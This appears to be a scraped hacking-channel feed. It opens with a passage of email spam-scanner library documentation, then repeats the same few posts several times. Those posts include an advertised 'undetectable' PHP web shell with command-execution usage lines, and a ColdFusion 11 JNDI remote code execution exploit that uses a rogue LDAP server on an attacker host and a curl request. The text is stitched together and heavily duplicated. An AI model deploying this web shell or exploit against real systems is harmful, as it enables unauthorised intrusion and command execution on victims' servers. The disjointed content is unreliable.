, which would in turn use Cloudflare for Family DNS. (using DNS over HTTPS with a fallback of dns.resolve4) – and if it returns 0.0.0.0then it is considered to be phishing.

We actually helped Cloudflare in August 2020 to update their documentation to note that this result of 0.0.0.0is returned for maliciously found content on FQDN and IP lookups. scanner.getExecutableResults(mail)Accepts a mailparser.simpleParserparsed mail Object.

Note that this method detects (with respect to executables.json using “Content-Type” header detection, file extension detection, and magic number detection.

This method returns a Promise that resolves with an Array of messages (if any) that indicate that links and/or attachments parsed from the message were dangerous (e.g. contained executable files or links to executable files). You can also use this method with a second callback argument.

This method also takes into consideration that the file extension and name could have a homograph attack by using punycode.toASCIIon the file name.

It also scans against links in the message itself for links to executables. scanner.getTokens(str, locale, isHTML = false)Accepts a str(String) and optional locale(String – valid i18n locale according to i18n-locales) and isHTMLparameters. If isHTMLis set to true, then that indicates that the String passed as stris in HTML format.

Returns an Array of SHA-256 hashed tokenized and stemmed words, with respect to the passed, detected, or default locale. If config.debugis true, then the values are not returned as hashed values (e.g. this is useful in testing and debugging).

Note that this is “smart” in the sense it will parse the “Content-Language” header of the message, the contentattribute of the HTML message’s , or the langattribute of .

After parsing the language of the message, it will then use the package franc to attempt to determine the language of the message (as long as the message has at least 150 characters, which is configurable).

Most importantly the following types of tokens are replaced with cryptographically generated random hashes:

* Emojis (this includes Github-flavored emoji written in Markdown and all Unicode emojis)
* MAC addresses
* Credit cards
* Bitcoin addresses
* Phone numbers
* Hex colors
* Initialisms
* Abbreviations
* Email addresses
* Links
* Integers and floating point values
* Currencies

Note that the replacements for these types of tokens are whitelisted when stemming is performed.

Contractions are also expanded, e.g. “they’re” becomes two tokens, “they” and “are”, which are then stemmed accordingly. scanner.getArbitraryResults(mail)Accepts a mailparser.simpleParserparsed mail Object.

This method will test the message against arbitrary spam-detection reasons, such as GTUBE.

Returns an Array of messages (if any) that indicate that parts of the message were detected to be spam-related for arbitrary reasons. You can also use this method with a second callback argument. scanner.getVirusResults(mail)Accepts a mailparser.simpleParserparsed mail Object.

This method returns a Promise that resolves with an Array of messages (if any) that indicate that attachments parsed from the message were dangerous (e.g. contained trojans, viruses, malware, and/or other malicious threats). You can also use this method with a second callback argument.

ClamAV is used internally with this method, in order to scan the attachments (in parallel). scanner.parseLocale(locale)Accepts a localeand returns it as a lowercase string with affixed localizations removed (e.g. en-USbecomes enand [...]

___________________________
@hacking_Attack
@Hacking_Video

en_USbecomes enas well). Caching

By default a memoizeconfig option is passed with an infinite limit for adult-content and malware lookups.

You can configure either the memoizeor clientoptions, with memoizebeing an Object of options to pass to memoizee, and clientbeing an instance of Redis, such as one created with @ladjs/redis.

Refer to the tests for examples of both implementations. If you go with the approach of memoize, then you should set a sizeoption such as:

const scanner = new SpamScanner({
// …
memoize: {
// since memoizee doesn’t support supplying mb or gb of cache size
// we can calculate how much the maximum could potentially be
// the max length of a domain name is 253 characters (bytes)
// and if we want to store up to 1 GB in memory, that’s
// Math.floor(bytes('1GB') / 253)= 4244038 (domains)
// note that this is per thread, so if you have 4 core server
// you will have 4 threads, and therefore need 4 GB of free memory
size: Math.floor(bytes(‘1GB’) / 253)
}
});

Note that in Forward Email we use the clientapproach as we have multiple threads across multiple servers running, and in-memory caching would not be efficient. Download

___________________________
@hacking_Attack
@Hacking_Video

Jatayu - Stealthy Stand Alone PHP Web Shell

JATAYU Stealthy Stand Alone PHP Web Shell FEATURES Http Header Based Authentication. 100% Undetectable. Exec Function Changer. Nothing Fancy USAGE GET /test/jatayu.php?fn=1&&cmd=whoamiHost : http://test.comAuthtoken : bb3b1a1f-0447-42a6-955a-88681fb88499 FUNCTIONS PARAMETER FUNCTION fn=1 Calls function shell_exec() fn=2 Calls function system() cmd=id Executes command GENERATE AUTHTOKEN <?php$r = unpack('v*', fread(fopen('/dev/random', 'r'),16));$apiKey = sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x', $r1, $r2, $r3, $r4 & 0x0fff | 0x4000, $r5 & 0x3fff | 0x8000, $r6, $r7, $r8);echo $apiKey;?> Download Jatayu
Read more...

Hacking on Medium
ऑनलाइन बैंकिंग सिस्टम को ट्रैक करके आपका बैंक अकाउंट भी हो सकता हैं खाली, न करे इस खतरनाक App को…

https://cdn-images-1.medium.com/max/600/0*pDRW6HO8TXNgyWdn
BUNE KNOWLEDGE

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
2 Days Left for IWCON 2022 Virtual Infosec Conference & Networking Event

https://cdn-images-1.medium.com/max/1189/1*h3LUcKrKLxlX0TNz5InfAw.png
Never attended a virtual networking event before? Your FAQs answered + Check our live demo here.

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Cybersecurity Sessions #4: Artificial Engagement and Ad Fraud

https://cdn-images-1.medium.com/max/2600/0*nuiGwsnjbnMXKueD
Continue reading on Netacea »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How ERC Standards Work, Part 1

https://cdn-images-1.medium.com/max/2025/1*PWK5Te6lu9-CbINSnYOO1Q.jpeg
Introduction

Continue reading on Immunefi »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
인슈어에이스 (InsurAce.io) 격주 업데이트 내역 (1월24일 — 2월6일)

https://cdn-images-1.medium.com/max/832/0*Do8F6U2RJhr1yr7k
지난 2주 동안 저희가 달성한 사항들을 아래 내용을 통해 확인해주세요.

Continue reading on 인슈어에이스 코리아 »

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
Jatayu - Stealthy Stand Alone PHP Web Shell

http://4.bp.blogspot.com/-Y6ST3XbnhRc/Yd2Yj8zJ-SI/AAAAAAAA8pc/viOgG_5Oya0NAw3v8AuLr3ZAgFv9VLATgCK4BGAYYCw/w640-h538/Jatayu_1_jatayu-image-763020.png
JATAYU


Stealthy Stand Alone PHP Web Shell
FEATURES

* Http Header Based Authentication.
* 100% Undetectable.
* Exec Function Changer.
* Nothing Fancy
USAGE

GET /test/jatayu.php?fn=1&&cmd=whoami
Host : http://test.com
Authtoken : bb3b1a1f-0447-42a6-955a-88681fb88499


FUNCTIONS
PARAMETER FUNCTION fn=1 Calls function shell_exec() fn=2 Calls function system() cmd=id Executes command
GENERATE AUTHTOKEN


$r = unpack('v*', fread(fopen('/dev/random', 'r'),16));
$apiKey = sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x',
$r[1], $r[2], $r[3], $r[4] & 0x0fff | 0x4000,
$r[5] & 0x3fff | 0x8000, $r[6], $r[7], $r[8]);
echo $apiKey;
?>

Download Jatayu

___________________________
@hacking_Attack
@Hacking_Video

Jatayu - Stealthy Stand Alone PHP Web Shell
http://www.kitploit.com/2022/02/jatayu-stealthy-stand-alone-php-web.html

___________________________
@hacking_Attack
@Hacking_Video

JATAYU
Stealthy Stand Alone PHP Web Shell
FEATURES Http Header Based Authentication. 100% Undetectable. Exec Function Changer. Nothing Fancy
USAGE GET /test/jatayu.php?fn=1&&cmd=whoami
Host : http://test.com
Authtoken : bb3b1a1f-0447-42a6-955a-88681fb88499
FUNCTIONS PARAMETER FUNCTION fn=1 Calls function shell_exec() fn=2 Calls function system() cmd=id Executes command GENERATE AUTHTOKEN ">


Download Jatayu (https://github.com/SpiderMate/Jatayu)

___________________________
@hacking_Attack
@Hacking_Video

How to hunt for bug bounties

The first step when looking for bug bounties is to get to know the target.Continue reading on Medium »
Read more...

How to hunt for bug bounties
https://medium.com/@michaelmeade3/how-to-hunt-for-bug-bounties-d44e9000f735?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

The first step when looking for bug bounties is to get to know the target.Continue reading on Medium » (https://medium.com/@michaelmeade3/how-to-hunt-for-bug-bounties-d44e9000f735?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

Jatayu - Stealthy Stand Alone PHP Web Shell

JATAYU Stealthy Stand Alone PHP Web Shell FEATURES Http Header Based Authentication. 100% Undetectable. Exec Function Changer. Nothing Fancy USAGE GET /test/jatayu.php?fn=1&&cmd=whoamiHost : http://test.comAuthtoken : bb3b1a1f-0447-42a6-955a-88681fb88499 FUNCTIONS PARAMETER FUNCTION fn=1 Calls function shell_exec() fn=2 Calls function system() cmd=id Executes command GENERATE AUTHTOKEN Download Jatayu
Read more...

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Adobe ColdFusion 11 Remote Code Execution

https://4.bp.blogspot.com/-sHG2jViTb-c/WWlvSCf2XfI/AAAAAAAAINY/YxfxwjOK_o05QB9TpuqqysTdHaIb3yf8wCLcBGAs/s1600/h36.png
Adobe ColdFusion version 11.0.03.292866 suffers from an LDAP Java object deserialization remote code execution vulnerability.

MD5 | 226123e631e2f9b3d10af17056b116ce

Download
# Exploit Title: Adobe ColdFusion 11 - LDAP Java Object Deserialization Remode Code Execution (RCE)
# Google Dork: intext:"adobe coldfusion 11"
# Date: 2022-22-02
# Exploit Author: Amel BOUZIANE-LEBLOND (https://twitter.com/amellb)
# Vendor Homepage: https://www.adobe.com/sea/products/coldfusion-family.html
# Version: Adobe Coldfusion (11.0.03.292866)
# Tested on: Microsoft Windows Server & Linux

# Description:
# ColdFusion allows an unauthenticated user to connect to any LDAP server. An attacker can exploit it to achieve remote code execution.
# JNDI attack via the 'verifyldapserver' parameter on the utils.cfc

==================== 1.Setup rogue-jndi Server ====================

https://github.com/veracode-research/rogue-jndi
==================== 2.Preparing the Attack =======================

java -jar target/RogueJndi-1.1.jar --command "touch /tmp/owned" --hostname "attacker_box"

==================== 3.Launch the Attack ==========================
http://REDACTED/CFIDE/wizards/common/utils.cfc?method=verifyldapserver&vserver=LDAP_SERVER&vport=LDAP_PORT&vstart=&vusername=&vpassword=&returnformat=json
curl -i -s -k -X $'GET' \
-H $'Host: target' \
--data-binary $'\x0d\x0a\x0d\x0a' \
$'http://REDACTED//CFIDE/wizards/common/utils.cfc?method=verifyldapserver&vserver=LDAP_SERVER&vport=LDAP_PORT&vstart=&vusername=&vpassword=&returnformat=json'
==================== 4.RCE =======================================

Depend on the target need to compile the rogue-jndi server with JAVA 7 or 8
Can be done by modify the pom.xml as below


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video